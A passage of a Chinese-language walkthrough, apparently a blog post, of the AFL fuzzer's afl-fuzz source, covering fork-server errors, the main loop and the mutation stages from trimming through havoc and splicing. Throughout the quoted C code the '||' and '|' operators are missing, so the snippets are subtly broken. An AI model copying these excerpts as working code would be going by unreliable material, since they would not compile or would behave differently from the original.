find a better replacement.\\n\\n"#ifdef __APPLE__ " - On MacOS X, the semantics of fork() syscalls are non-standard and may\\n" " break afl-fuzz performance optimizations when running platform-specific\\n" " targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.\\n\\n"#endif /* __APPLE__ */ " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n"); } else { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! There are several probable explanations:\\n\\n" " - The current memory limit (%s) is too restrictive, causing the\\n" " target to hit an OOM condition in the dynamic linker. Try bumping up\\n" " the limit with the -m setting in the command line. A simple way confirm\\n" " this diagnosis would be:\\n\\n"#ifdef RLIMIT_AS " ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#else " ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#endif /* ^RLIMIT_AS */ " Tip: you can use http://jwilk.net/software/recidivm to quickly\\n" " estimate the required amount of virtual memory for the binary.\\n\\n" " - The binary is just buggy and explodes entirely on its own. If so, you\\n" " need to fix the underlying problem or find a better replacement.\\n\\n"#ifdef __APPLE__ " - On MacOS X, the semantics of fork() syscalls are non-standard and may\\n" " break afl-fuzz performance optimizations when running platform-specific\\n" " targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.\\n\\n"#endif /* __APPLE__ */ " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n", DMS(mem_limit << 20), mem_limit - 1); } FATAL("Fork server crashed with signal %d", WTERMSIG(status)); } if (*(u32*)trace_bits == EXEC_FAIL_SIG) FATAL("Unable to execute target application ('%s')", argv[0]); if (mem_limit && mem_limit < 500 && uses_asan) { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. Since it seems to be built with ASAN and\\n" " you have a restrictive memory limit configured, this is expected; please\\n" " read %s/notes_for_asan.txt for help.\\n", doc_path); } else if (!mem_limit) { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. Perhaps there is a horrible bug in the\\n" " fuzzer. Poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n"); } else { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. There are %s probable explanations:\\n\\n" "%s" " - The current memory limit (%s) is too restrictive, causing an OOM\\n" " fault in the dynamic linker. This can be fixed with the -m option. A\\n" " simple way to confirm the diagnosis may be:\\n\\n"#ifdef RLIMIT_AS " ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#else " ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#endif /* ^RLIMIT_AS */ " Tip: you can use http://jwilk.net/software/recidivm to quickly\\n" " estimate the required amount of virtual memory for the binary.\\n\\n" " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n", getenv(DEFER_ENV_VAR) ? "three" : "two", getenv(DEFER_ENV_VAR) ? " - You are using deferred forkserver, but __AFL_INIT() is never\\n" " reached before the program terminates.\\n\\n" : "", DMS(mem_limit << 20), mem_limit - 1); } FATAL("Fork server handshake failed");}\n\ncull_queue将运行过的种子根据运行的效果进行排序,后续模糊测试根据排序的结果来挑选样例进行模糊测试。\nshow_init_stats初始化 UI 。\nfind_start_position如果是恢复运行,则调用该函数来寻找到对应的样例的位置。\nwrite_stats_file更新统计信息文件以进行无人值守的监视。\nsave_auto保存自动提取的 token ,用于后续字典模式的 fuzz 。\nafl-fuzz 主循环\n首先调用 cull_queue 来优化队列\n如果 queue_cur 为空,代表所有queue都被执行完一轮\n设置queue_cycle计数器加一,即代表所有queue被完整执行了多少轮。\n设置current_entry为0,和queue_cur为queue首元素,开始新一轮fuzz。\n如果是resume fuzz情况,则先检查seek_to是否为空,如果不为空,就从seek_to指定的queue项开始执行。\n刷新展示界面show_stats\n如果在一轮执行之后的queue里的case数,和执行之前一样,代表在完整的一轮执行里都没有发现任何一个新的case\n如果use_splicing为1,就设置cycles_wo_finds计数器加1\n否则,设置use_splicing为1,代表我们接下来要通过splice重组queue里的case。\n\n\n\n\n执行skipped_fuzz = fuzz_one(use_argv)来对queue_cur进行一次测试\n注意fuzz_one并不一定真的执行当前queue_cur,它是有一定策略的,如果不执行,就直接返回1,否则返回0\n\n\n如果skipped_fuzz为0,且存在sync_id\nsync_interval_cnt计数器加一,如果其结果是SYNC_INTERVAL(默认是5)的倍数,就进行一次sync\n\n\nqueue_cur = queue_cur->next;current_entry++;,开始测试下一个queue\n\nwhile (1) { u8 skipped_fuzz; cull_queue(); if (!queue_cur) { queue_cycle++; current_entry = 0; cur_skipped_paths = 0; queue_cur = queue; while (seek_to) { current_entry++; seek_to--; queue_cur = queue_cur->next; } show_stats(); if (not_on_tty) { ACTF("Entering queue cycle %llu.", queue_cycle); fflush(stdout); } /* If we had a full queue cycle with no new finds, try recombination strategies next. */ if (queued_paths == prev_queued) { if (use_splicing) cycles_wo_finds++; else use_splicing = 1; } else cycles_wo_finds = 0; prev_queued = queued_paths; if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST")) sync_fuzzers(use_argv); } skipped_fuzz = fuzz_one(use_argv); if (!stop_soon && sync_id && !skipped_fuzz) { if (!(sync_interval_cnt++ % SYNC_INTERVAL)) sync_fuzzers(use_argv); } if (!stop_soon && exit_1) stop_soon = 2; if (stop_soon) break; queue_cur = queue_cur->next; current_entry++;}\n\nfuzz_one从测试样例的队列中取出 current_entry 进行测试,成功则返回 0 ,否则返回 1。这里主要是对该函数主要内容进行记录,不做细节的代码分析。\n\n打开 queue_cur 并映射到 orig_in 和 in_buf\n分配len大小的内存,并初始化为全 0,然后将地址赋值给 out_buf\n\nCALIBRATION 阶段\n若 queue_cur->cal_failed < CAL_CHANCES 且 queue_cur->cal_failed >0 ,则调用 calibrate_case\n\nTRIMMING 阶段\n如果样例没经过该阶段,那么就调用 trim_case 修剪样例\n将修剪后的结果重新放入 out_buf\n\n缩减的思路是这样的:如果对一个样本进行缩减后,它所覆盖的路径并未发生变化,那么就说明缩减的这部分内容是可有可无的,因此可以删除。\n具体策略如下:\n\n如果这个case的大小len小于5字节,就直接返回\n设定 stage_name 为 tmp ,该变量仅用来标识本次缩减所使用的策略\n计算 len_p2 ,其值是大于等于 q->len 的第一个2的幂次。\n取 len_p2/16 为 remove_len 作为起始步长。\n进入循环,终止条件为 remove_len 小于终止步长 len_p2/1024 , 每轮循环步长会除2。\n初始化一些必要数据后,再次进入循环,这次是按照当前设定的步长对样本进行遍历\n用 run_target 运行样例,trim_execs 计数器加一\n对比路径是否变化\n若无变化\n则从 q->len 中减去 remove_len 个字节,并由此重新计算出一个 len_p2 ,这里注意一下while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES))\n将 in_buf+remove_pos+remove_len 到最后的字节,前移到 in_buf+remove_pos 处,等于删除了 remove_pos 向后的 remove_len 个字节。\n如果 needs_write 为 0,则设置其为 1,并保存当前 trace_bits 到 clean_trace 中。\n\n\n如有变化\nremove_pos 加上 remove_len\n\n\n\n\n\n\n如果needs_write为1\n删除原来的 q->fname ,创建一个新的 q->fname ,将 in_buf 里的内容写入,然后用 clean_trace 恢复 trace_bits 的值。\n进行一次 update_bitmap_score\n\n\n\nstatic u8 trim_case(char** argv, struct queue_entry* q, u8* in_buf) { static u8 tmp[64]; static u8 clean_trace[MAP_SIZE]; u8 needs_write = 0, fault = 0; u32 trim_exec = 0; u32 remove_len; u32 len_p2; /* Although the trimmer will be less useful when variable behavior is detected, it will still work to some extent, so we don't check for this. */ if (q->len < 5) return 0; stage_name = tmp; bytes_trim_in += q->len; /* Select initial chunk len, starting with large steps. */ len_p2 = next_p2(q->len); remove_len = MAX(len_p2 / TRIM_START_STEPS, TRIM_MIN_BYTES); /* Continue until the number of steps gets too high or the stepover gets too small. */ while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES)) { u32 remove_pos = remove_len; sprintf(tmp, "trim %s/%s", DI(remove_len), DI(remove_len)); stage_cur = 0; stage_max = q->len / remove_len; while (remove_pos < q->len) { u32 trim_avail = MIN(remove_len, q->len - remove_pos); u32 cksum; write_with_gap(in_buf, q->len, remove_pos, trim_avail); fault = run_target(argv, exec_tmout); trim_execs++; if (stop_soon fault == FAULT_ERROR) goto abort_trimming; /* Note that we don't keep track of crashes or hangs here; maybe TODO? */ cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST); /* If the deletion had no impact on the trace, make it permanent. This isn't perfect for variable-path inputs, but we're just making a best-effort pass, so it's not a big deal if we end up with false negatives every now and then. */ if (cksum == q->exec_cksum) { u32 move_tail = q->len - remove_pos - trim_avail; q->len -= trim_avail; len_p2 = next_p2(q->len); memmove(in_buf + remove_pos, in_buf + remove_pos + trim_avail, move_tail); /* Let's save a clean trace, which will be needed by update_bitmap_score once we're done with the trimming stuff. */ if (!needs_write) { needs_write = 1; memcpy(clean_trace, trace_bits, MAP_SIZE); } } else remove_pos += remove_len; /* Since this can be slow, update the screen every now and then. */ if (!(trim_exec++ % stats_update_freq)) show_stats(); stage_cur++; } remove_len >>= 1; } /* If we have made changes to in_buf, we also need to update the on-disk version of the test case. */ if (needs_write) { s32 fd; unlink(q->fname); /* ignore errors */ fd = open(q->fname, O_WRONLY O_CREAT O_EXCL, 0600); if (fd < 0) PFATAL("Unable to create '%s'", q->fname); ck_write(fd, in_buf, q->len, q->fname); close(fd); memcpy(trace_bits, clean_trace, MAP_SIZE); update_bitmap_score(q); }abort_trimming: bytes_trim_out += q->len; return fault;}\n\nPERFORMANCE SCORE 阶段\nperf_score = calculate_score(queue_cur)\n如果 skip_deterministic 为1,或者 queue_cur 被 fuzz 过,或者 queue_cur 的 passed_det 为1,则跳转去 havoc_stage 阶段\n设置doing_det为 1\n\nSIMPLE BITFLIP 阶段这个阶段读起来感觉比较抽象。首先定义了这么一个宏:\n#define FLIP_BIT(_ar, _b) do { \\ u8* _arf = (u8*)(_ar); \\ u32 _bf = (_b); \\ _arf[(_bf) >> 3] ^= (128 >> ((_bf) & 7)); \\ } while (0)\n\n这个宏的操作是对一个 bit 进行反转。\n而接下来首先有一个循环:\nstage_short = "flip1";stage_max = len << 3;stage_name = "bitflip 1/1";stage_val_type = STAGE_VAL_NONE;orig_hit_cnt = queued_paths + unique_crashes;prev_cksum = queue_cur->exec_cksum;for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { stage_cur_byte = stage_cur >> 3; FLIP_BIT(out_buf, stage_cur); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; FLIP_BIT(out_buf, stage_cur); ......\n\nstage_max 是输入的总 bit 数,然后分别对每个 bit 进行翻转后用 common_fuzz_stuff 进行测试,然后再将其翻转回来。\n而如果对某个字节的最后一个 bit 翻转后测试,发现路径并未增加,就能够将其认为是一个 token 。\n\ntoken默认最小是3,最大是32,每次发现新token时,通过maybe_add_auto添加到a_extras数组里。\nstage_finds[STAGE_FLIP1]的值加上在整个FLIP_BIT中新发现的路径和Crash总和\nstage_cycles[STAGE_FLIP1]的值加上在整个FLIP_BIT中执行的target次数stage_max\n设置stage_name为bitflip 2/1,原理和之前一样,只是这次是连续翻转相邻的两位。\n\n然后在后面的一个循环中又做类似的事,但每次会翻转两个 bit:\nstage_name = "bitflip 2/1";stage_short = "flip2";stage_max = (len << 3) - 1;orig_hit_cnt = new_hit_cnt;for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { stage_cur_byte = stage_cur >> 3; FLIP_BIT(out_buf, stage_cur); FLIP_BIT(out_buf, stage_cur + 1); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; FLIP_BIT(out_buf, stage_cur); FLIP_BIT(out_buf, stage_cur + 1);}\n\n\n然后保存结果到stage_finds[STAGE_FLIP2]和stage_cycles[STAGE_FLIP2]里。\n同理,设置stage_name为bitflip 4/1,翻转连续的四位并记录。\n构建 Effector map\n进入 bitflip 8/8 的阶段,这个阶段就是对每个字节的所有 bit 都进行翻转,然后用 common_fuzz_stuff 进行测试\n如果其造成执行路径与原始路径不一致,就将该byte在 effector map 中标记为1,即“有效”的,否则标记为 0,即“无效”的。\n这样做的逻辑是:如果一个byte完全翻转,都无法带来执行路径的变化,那么这个byte很有可能是属于”data”,而非”metadata”(例如size, flag等),对整个fuzzing的意义不大。所以,在随后的一些变异中,会参考effector map,跳过那些“无效”的byte,从而节省了执行资源。\n\n\n\n然后进入 bitflip 16/8 部分,按对每两个字节进行一次翻转然后测试:\nfor (i = 0; i < len - 1; i++) { /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)]) { stage_max--; continue; } stage_cur_byte = i; *(u16*)(out_buf + i) ^= 0xFFFF; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; *(u16*)(out_buf + i) ^= 0xFFFF;}\n\n\n这里要注意在翻转之前会先检查eff_map里对应于这两个字节的标志是否为0,如果为0,则这两个字节是无效的数据,stage_max减一,然后开始变异下一个字。\ncommon_fuzz_stuff执行变异后的结果,然后还原。\n\n最后是 bitflip 32/8 阶段,每 4 个字节进行翻转然后测试:\nstage_name = "bitflip 32/8";stage_short = "flip32";stage_cur = 0;stage_max = len - 3;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len - 3; i++) { /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)] && !eff_map[EFF_APOS(i + 2)] && !eff_map[EFF_APOS(i + 3)]) { stage_max--; continue; } stage_cur_byte = i; *(u32*)(out_buf + i) ^= 0xFFFFFFFF; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; *(u32*)(out_buf + i) ^= 0xFFFFFFFF;}\n\n\n在每次翻转之前会检查eff_map里对应于这四个字节的标志是否为0,如果是0,则这两个字节是无效的数据,stage_max减一,然后开始变异下一组双字。\n\nARITHMETIC INC/DEC 阶段\narith 8/8,每次对8个bit进行加减运算,按照每8个 bit 的步长从头开始,即对文件的每个 byte 进行整数加减变异\narith 16/8,每次对16个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个word进行整数加减变异\narith 32/8,每次对32个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个dword进行整数加减变异\n加减变异的上限,在 config.h 中的宏 ARITH_MAX 定义,默认为 35。所以,对目标整数会进行+1, +2, …, +35, -1, -2, …, -35 的变异。特别地,由于整数存在大端序和小端序两种表示方式,AFL会贴心地对这两种整数表示方式都进行变异。\n此外,AFL 还会智能地跳过某些 arithmetic 变异。第一种情况就是前面提到的 effector map :如果一个整数的所有 bytes 都被判断为“无效”,那么就跳过对整数的变异。第二种情况是之前 bitflip 已经生成过的变异:如果加/减某个数后,其效果与之前的某种bitflip相同,那么这次变异肯定在上一个阶段已经执行过了,此次便不会再执行。\n\n此处展示 arith 8/8 部分代码:\nstage_name = "arith 8/8";stage_short = "arith8";stage_cur = 0;stage_max = 2 * len * ARITH_MAX;stage_val_type = STAGE_VAL_LE;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len; i++) { u8 orig = out_buf[i]; /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)]) { stage_max -= 2 * ARITH_MAX; continue; } stage_cur_byte = i; for (j = 1; j <= ARITH_MAX; j++) { u8 r = orig ^ (orig + j); /* Do arithmetic operations only if the result couldn't be a product of a bitflip. */ if (!could_be_bitflip(r)) { stage_cur_val = j; out_buf[i] = orig + j; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } else stage_max--; r = orig ^ (orig - j); if (!could_be_bitflip(r)) { stage_cur_val = -j; out_buf[i] = orig - j; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } else stage_max--; out_buf[i] = orig; }}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_ARITH8] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_ARITH8] += stage_max;\n\nINTERESTING VALUES 阶段\ninterest 8/8,每次对8个bit进替换,按照每8个bit的步长从头开始,即对文件的每个byte进行替换\ninterest 16/8,每次对16个bit进替换,按照每8个bit的步长从头开始,即对文件的每个word进行替换\ninterest 32/8,每次对32个bit进替换,按照每8个bit的步长从头开始,即对文件的每个dword进行替换\n而用于替换的 interesting values 是AFL预设的一些比较特殊的数,这些数的定义在config.h文件中:\n\nstatic s8 interesting_8[] = { INTERESTING_8 };static s16 interesting_16[] = { INTERESTING_8, INTERESTING_16 };static s32 interesting_32[] = { INTERESTING_8, INTERESTING_16, INTERESTING_32 };\n\n\n同样,effector map 仍然会用于判断是否需要变异;此外,如果某个interesting value,是可以通过 bitflip 或者 arithmetic 变异达到,那么这样的重复性变异也是会跳过的。\n\n此处给出 interest 8/8 部分代码:\nstage_name = "interest 8/8";stage_short = "int8";stage_cur = 0;stage_max = len * sizeof(interesting_8);stage_val_type = STAGE_VAL_LE;orig_hit_cnt = new_hit_cnt;/* Setting 8-bit integers. */for (i = 0; i < len; i++) { u8 orig = out_buf[i]; /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)]) { stage_max -= sizeof(interesting_8); continue; } stage_cur_byte = i; for (j = 0; j < sizeof(interesting_8); j++) { /* Skip if the value could be a product of bitflips or arithmetics. */ if (could_be_bitflip(orig ^ (u8)interesting_8[j]) could_be_arith(orig, (u8)interesting_8[j], 1)) { stage_max--; continue; } stage_cur_val = interesting_8[j]; out_buf[i] = interesting_8[j]; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; out_buf[i] = orig; stage_cur++; }}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_INTEREST8] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_INTEREST8] += stage_max;\n\nDICTIONARY STUFF 阶段\n通过 -x 选项指定一个词典,如果没有则跳过前两个阶段\nuser extras(over),从头开始,将用户提供的tokens依次替换到原文件中,stage_max为 extras_cnt * len\nuser extras(insert),从头开始,将用户提供的tokens依次插入到原文件中,stage_max为 extras_cnt * len\n如果在之前的分析中提取到了 tokens,则进入 auto extras 阶段\nauto extras(over),从头开始,将自动检测的tokens依次替换到原文件中, stage_max 为MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len\n\n此处给出 auto extras (over) 部分的源代码:\nif (!a_extras_cnt) goto skip_extras;stage_name = "auto extras (over)";stage_short = "ext_AO";stage_cur = 0;stage_max = MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len;stage_val_type = STAGE_VAL_NONE;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len; i++) { u32 last_len = 0; stage_cur_byte = i; for (j = 0; j < MIN(a_extras_cnt, USE_AUTO_EXTRAS); j++) { /* See the comment in the earlier code; extras are sorted by size. */ if (a_extras[j].len > len - i !memcmp(a_extras[j].data, out_buf + i, a_extras[j].len) !memchr(eff_map + EFF_APOS(i), 1, EFF_SPAN_ALEN(i, a_extras[j].len))) { stage_max--; continue; } last_len = a_extras[j].len; memcpy(out_buf + i, a_extras[j].data, last_len); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } /* Restore all the clobbered memory. */ memcpy(out_buf + i, in_buf + i, last_len);}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_EXTRAS_AO] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_EXTRAS_AO] += stage_max;\n\nRANDOM HAVOC 阶段该部分使用一个巨大的 switch ,通过随机数进行跳转,并在每个分支中使用随机数来完成随机性的行为:\n\n首先指定出变换的此处上限 use_stacking = 1 << (1 + UR(HAVOC_STACK_POW2))\n然后进入循环,生成一个随机数去选择下列中的某一个情况来对样例进行变换\n随机选取某个bit进行翻转\n随机选取某个byte,将其设置为随机的interesting value\n随机选取某个word,并随机选取大、小端序,将其设置为随机的interesting value\n随机选取某个dword,并随机选取大、小端序,将其设置为随机的interesting value\n随机选取某个byte,对其减去一个随机数\n随机选取某个byte,对其加上一个随机数\n随机选取某个word,并随机选取大、小端序,对其减去一个随机数\n随机选取某个word,并随机选取大、小端序,对其加上一个随机数\n随机选取某个dword,并随机选取大、小端序,对其减去一个随机数\n随机选取某个dword,并随机选取大、小端序,对其加上一个随机数\n随机选取某个byte,将其设置为随机数\n随机删除一段bytes\n随机选取一个位置,插入一段随机长度的内容,其中75%的概率是插入原文中随机位置的内容,25%的概率是插入一段随机选取的数\n随机选取一个位置,替换为一段随机长度的内容,其中75%的概率是替换成原文中随机位置的内容,25%的概率是替换成一段随机选取的数\n随机选取一个位置,用随机选取的token(用户提供的或自动生成的)替换\n随机选取一个位置,用随机选取的token(用户提供的或自动生成的)插入\n\n\n然后调用 common_fuzz_stuff 进行测试\n重复上述过程 stage_max 次\n\nfor (stage_cur = 0; stage_cur < stage_max; stage_cur++) { u32 use_stacking = 1 << (1 + UR(HAVOC_STACK_POW2)); stage_cur_val = use_stacking; for (i = 0; i < use_stacking; i++) { switch (UR(15 + ((extras_cnt + a_extras_cnt) ? 2 : 0))) { case 0: /* Flip a single bit somewhere. Spooky! */ FLIP_BIT(out_buf, UR(temp_len << 3)); break; case 1: /* Set byte to interesting value. */ out_buf[UR(temp_len)] = interesting_8[UR(sizeof(interesting_8))]; break; case 2: /* Set word to interesting value, randomly choosing endian. */ if (temp_len < 2) break; if (UR(2)) { *(u16*)(out_buf + UR(temp_len - 1)) = interesting_16[UR(sizeof(interesting_16) >> 1)]; } else { *(u16*)(out_buf + UR(temp_len - 1)) = SWAP16( interesting_16[UR(sizeof(interesting_16) >> 1)]); } break; case 3: /* Set dword to interesting value, randomly choosing endian. */ if (temp_len < 4) break; if (UR(2)) { *(u32*)(out_buf + UR(temp_len - 3)) = interesting_32[UR(sizeof(interesting_32) >> 2)]; } else { *(u32*)(out_buf + UR(temp_len - 3)) = SWAP32( interesting_32[UR(sizeof(interesting_32) >> 2)]); } break; case 4: /* Randomly subtract from byte. */ out_buf[UR(temp_len)] -= 1 + UR(ARITH_MAX); break; case 5: /* Randomly add to byte. */ out_buf[UR(temp_len)] += 1 + UR(ARITH_MAX); break; case 6: /* Randomly subtract from word, random endian. */ if (temp_len < 2) break; if (UR(2)) { u32 pos = UR(temp_len - 1); *(u16*)(out_buf + pos) -= 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 1); u16 num = 1 + UR(ARITH_MAX); *(u16*)(out_buf + pos) = SWAP16(SWAP16(*(u16*)(out_buf + pos)) - num); } break; case 7: /* Randomly add to word, random endian. */ if (temp_len < 2) break; if (UR(2)) { u32 pos = UR(temp_len - 1); *(u16*)(out_buf + pos) += 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 1); u16 num = 1 + UR(ARITH_MAX); *(u16*)(out_buf + pos) = SWAP16(SWAP16(*(u16*)(out_buf + pos)) + num); } break; case 8: /* Randomly subtract from dword, random endian. */ if (temp_len < 4) break; if (UR(2)) { u32 pos = UR(temp_len - 3); *(u32*)(out_buf + pos) -= 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 3); u32 num = 1 + UR(ARITH_MAX); *(u32*)(out_buf + pos) = SWAP32(SWAP32(*(u32*)(out_buf + pos)) - num); } break; case 9: /* Randomly add to dword, random endian. */ if (temp_len < 4) break; if (UR(2)) { u32 pos = UR(temp_len - 3); *(u32*)(out_buf + pos) += 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 3); u32 num = 1 + UR(ARITH_MAX); *(u32*)(out_buf + pos) = SWAP32(SWAP32(*(u32*)(out_buf + pos)) + num); } break; case 10: /* Just set a random byte to a random value. Because, why not. We use XOR with 1-255 to eliminate the possibility of a no-op. */ out_buf[UR(temp_len)] ^= 1 + UR(255); break; case 11 ... 12: { /* Delete bytes. We're making this a bit more likely than insertion (the next option) in hopes of keeping files reasonably small. */ u32 del_from, del_len; if (temp_len < 2) break; /* Don't delete too much. */ del_len = choose_block_len(temp_len - 1); del_from = UR(temp_len - del_len + 1); memmove(out_buf + del_from, out_buf + del_from + del_len, temp_len - del_from - del_len); temp_len -= del_len; break; } case 13: if (temp_len + HAVOC_BLK_XL < MAX_FILE) { /* Clone bytes (75%) or insert a block of constant bytes (25%). */ u8 actually_clone = UR(4); u32 clone_from, clone_to, clone_len; u8* new_buf; if (actually_clone) { clone_len = choose_block_len(temp_len); clone_from = UR(temp_len - clone_len + 1); } else { clone_len = choose_block_len(HAVOC_BLK_XL); clone_from = 0; } clone_to = UR(temp_len); new_buf = ck_alloc_nozero(temp_len + clone_len); /* Head */ memcpy(new_buf, out_buf, clone_to); /* Inserted part */ if (actually_clone) memcpy(new_buf + clone_to, out_buf + clone_from, clone_len); else memset(new_buf + clone_to, UR(2) ? UR(256) : out_buf[UR(temp_len)], clone_len); /* Tail */ memcpy(new_buf + clone_to + clone_len, out_buf + clone_to, temp_len - clone_to); ck_free(out_buf); out_buf = new_buf; temp_len += clone_len; } break; case 14: { /* Overwrite bytes with a randomly selected chunk (75%) or fixed bytes (25%). */ u32 copy_from, copy_to, copy_len; if (temp_len < 2) break; copy_len = choose_block_len(temp_len - 1); copy_from = UR(temp_len - copy_len + 1); copy_to = UR(temp_len - copy_len + 1); if (UR(4)) { if (copy_from != copy_to) memmove(out_buf + copy_to, out_buf + copy_from, copy_len); } else memset(out_buf + copy_to, UR(2) ? UR(256) : out_buf[UR(temp_len)], copy_len); break; } /* Values 15 and 16 can be selected only if there are any extras present in the dictionaries. */ case 15: { /* Overwrite bytes with an extra. */ if (!extras_cnt (a_extras_cnt && UR(2))) { /* No user-specified extras or odds in our favor. Let's use an auto-detected one. */ u32 use_extra = UR(a_extras_cnt); u32 extra_len = a_extras[use_extra].len; u32 insert_at; if (extra_len > temp_len) break; insert_at = UR(temp_len - extra_len + 1); memcpy(out_buf + insert_at, a_extras[use_extra].data, extra_len); } else { /* No auto extras or odds in our favor. Use the dictionary. */ u32 use_extra = UR(extras_cnt); u32 extra_len = extras[use_extra].len; u32 insert_at; if (extra_len > temp_len) break; insert_at = UR(temp_len - extra_len + 1); memcpy(out_buf + insert_at, extras[use_extra].data, extra_len); } break; } case 16: { u32 use_extra, extra_len, insert_at = UR(temp_len + 1); u8* new_buf; /* Insert an extra. Do the same dice-rolling stuff as for the previous case. */ if (!extras_cnt (a_extras_cnt && UR(2))) { use_extra = UR(a_extras_cnt); extra_len = a_extras[use_extra].len; if (temp_len + extra_len >= MAX_FILE) break; new_buf = ck_alloc_nozero(temp_len + extra_len); /* Head */ memcpy(new_buf, out_buf, insert_at); /* Inserted part */ memcpy(new_buf + insert_at, a_extras[use_extra].data, extra_len); } else { use_extra = UR(extras_cnt); extra_len = extras[use_extra].len; if (temp_len + extra_len >= MAX_FILE) break; new_buf = ck_alloc_nozero(temp_len + extra_len); /* Head */ memcpy(new_buf, out_buf, insert_at); /* Inserted part */ memcpy(new_buf + insert_at, extras[use_extra].data, extra_len); } /* Tail */ memcpy(new_buf + insert_at + extra_len, out_buf + insert_at, temp_len - insert_at); ck_free(out_buf); out_buf = new_buf; temp_len += extra_len; break; } } } if (common_fuzz_stuff(argv, out_buf, temp_len)) goto abandon_entry; /* out_buf might have been mangled a bit, so let's restore it to its original size and shape. */ if (temp_len < len) out_buf = ck_realloc(out_buf, len); temp_len = len; memcpy(out_buf, in_buf, len); /* If we're finding new stuff, let's run for a bit longer, limits permitting. */ if (queued_paths != havoc_queued) { if (perf_score <= HAVOC_MAX_MULT * 100) { stage_max *= 2; perf_score *= 2; } havoc_queued = queued_paths; }}\n\nSPLICING 阶段最后一个阶段,它会随机选择出另外一个输入样例,然后对当前的输入样例和另外一个样例都选择出合适的偏移量,然后从该处将他们拼接起来,然后重新进入到 RANDOM HAVOC 阶段。\n#ifndef IGNORE_FINDS /************ * SPLICING * ************/ /* This is a last-resort strategy triggered by a full round with no findings. It takes the current input file, randomly selects another input, and splices them together at some offset, then relies on the havoc code to mutate that blob. */retry_splicing: if (use_splicing && splice_cycle++ < SPLICE_CYCLES && queued_paths > 1 && queue_cur->len > 1) { struct queue_entry* target; u32 tid, split_at; u8* new_buf; s32 f_diff, l_diff; /* First of all, if we've modified in_buf for havoc, let's clean that up... */ if (in_buf != orig_in) { ck_free(in_buf); in_buf = orig_in; len = queue_cur->len; } /* Pick a random queue entry and seek to it. Don't splice with yourself. */ do { tid = UR(queued_paths); } while (tid == current_entry); splicing_with = tid; target = queue; while (tid >= 100) { target = target->next_100; tid -= 100; } while (tid--) target = target->next; /* Make sure that the target has a reasonable length. */ while (target && (target->len < 2 target == queue_cur)) { target = target->next; splicing_with++; } if (!target) goto retry_splicing; /* Read the testcase into a new buffer. */ fd = open(target->fname, O_RDONLY); if (fd < 0) PFATAL("Unable to open '%s'", target->fname); new_buf = ck_alloc_nozero(target->len); ck_read(fd, new_buf, target->len, target->fname); close(fd); /* Find a suitable splicing location, somewhere between the first and the last differing byte. Bail out if the difference is just a single byte or so. */ locate_diffs(in_buf, new_buf, MIN(len, target->len), &f_diff, &l_diff); if (f_diff < 0 l_diff < 2 f_diff == l_diff) { ck_free(new_buf); goto retry_splicing; } /* Split somewhere between the first and last differing byte. */ split_at = f_diff + UR(l_diff - f_diff); /* Do the thing. */ len = target->len; memcpy(new_buf, in_buf, split_at); in_buf = new_buf; ck_free(out_buf); out_buf = ck_alloc_nozero(len); memcpy(out_buf, in_buf, len); goto havoc_stage; }\n\n结束\n设置 ret_val 的值为 0\n如果 queue_cur 通过了评估,且 was_fuzzed 字段是 0,就设置 